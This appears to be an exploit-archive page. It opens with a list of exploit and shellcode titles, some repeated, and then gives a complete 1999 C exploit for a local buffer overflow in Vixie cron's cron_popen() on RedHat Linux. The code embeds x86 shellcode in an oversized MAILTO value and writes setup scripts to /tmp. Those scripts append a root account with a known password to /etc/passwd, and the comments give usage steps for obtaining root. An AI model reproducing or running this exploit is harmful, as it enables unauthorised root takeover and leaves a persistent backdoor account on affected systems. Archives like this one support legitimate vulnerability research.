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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
84 lines
No EOL
2.7 KiB
C
84 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/602/info
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The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack.
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/*
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vixie-crontab-3.0.1 cron_popen() exploit by Akke - 30-8-99
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Akke <c4c4@hehe.com>
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how to compile ?
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gcc crontab_exploit.c -o crontab_exploit
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how to use ?
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./crontab_exploit
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crontab ./CrOn
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wait 1 minute
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crontab -r
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su -l cronexpl (password = exploited) (this is root account)
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Greets to: bugtraq
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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char shellcode[] =
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/tmp/ce";
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#define max_buf_len 1000
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#define CronFile "CrOn"
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#define RootScript "/tmp/cron_root"
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#define CronEchoScript "/tmp/cron_echo"
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#define chmod_bin "/bin/chmod"
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int main()
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{
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char crontab_file_string[max_buf_len];
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char temp[max_buf_len];
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FILE *fp;
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int i;
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strcpy(temp,
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"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
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"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
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"_ _ _ _ _ _ _ _ _ _ _ _ _ _ ");
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sprintf(temp,"%s%s",temp,shellcode);
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sprintf(crontab_file_string,"MAILTO=%s\n",temp);
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strcat(crontab_file_string,"0");
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for (i=1;i<60;i++) sprintf(crontab_file_string,"%s,%d",crontab_file_string,i);
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sprintf(temp," * * * * %s\n",CronEchoScript);
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strcat(crontab_file_string,temp);
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if ((fp = fopen(CronFile,"w+")) != NULL) {
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fprintf(fp,"%s",crontab_file_string);
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fclose(fp);
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}
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if ((fp = fopen(CronEchoScript,"w+")) != NULL) {
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fprintf(fp,"#!/bin/sh\necho Wrong window!");
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fclose(fp);
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sprintf(temp,"%s 777 %s",chmod_bin,CronEchoScript);
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system(temp);
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}
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if ((fp = fopen(RootScript,"w+")) != NULL) {
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#define login "cronexpl"
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#define passw "1T8uqGnJZ0OsQ" /* "exploited" */
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fprintf(fp,"#!/bin/sh\necho %s:%s:0:0::/root:/bin/bash >> /etc/passwd\nrm %s %s %s",login,passw,CronEchoScript,"/tmp/ce",RootScript);
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fclose(fp);
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sprintf(temp,"%s 777 %s",chmod_bin,RootScript);
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system(temp);
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}
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if ((fp = fopen("/tmp/ce","w+")) != NULL) {
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fprintf(fp,"#!/bin/sh\n%s\n",RootScript);
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fclose(fp);
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sprintf(temp,"%s 777 %s",chmod_bin,"/tmp/ce");
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system(temp);
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}
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exit(0);
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} |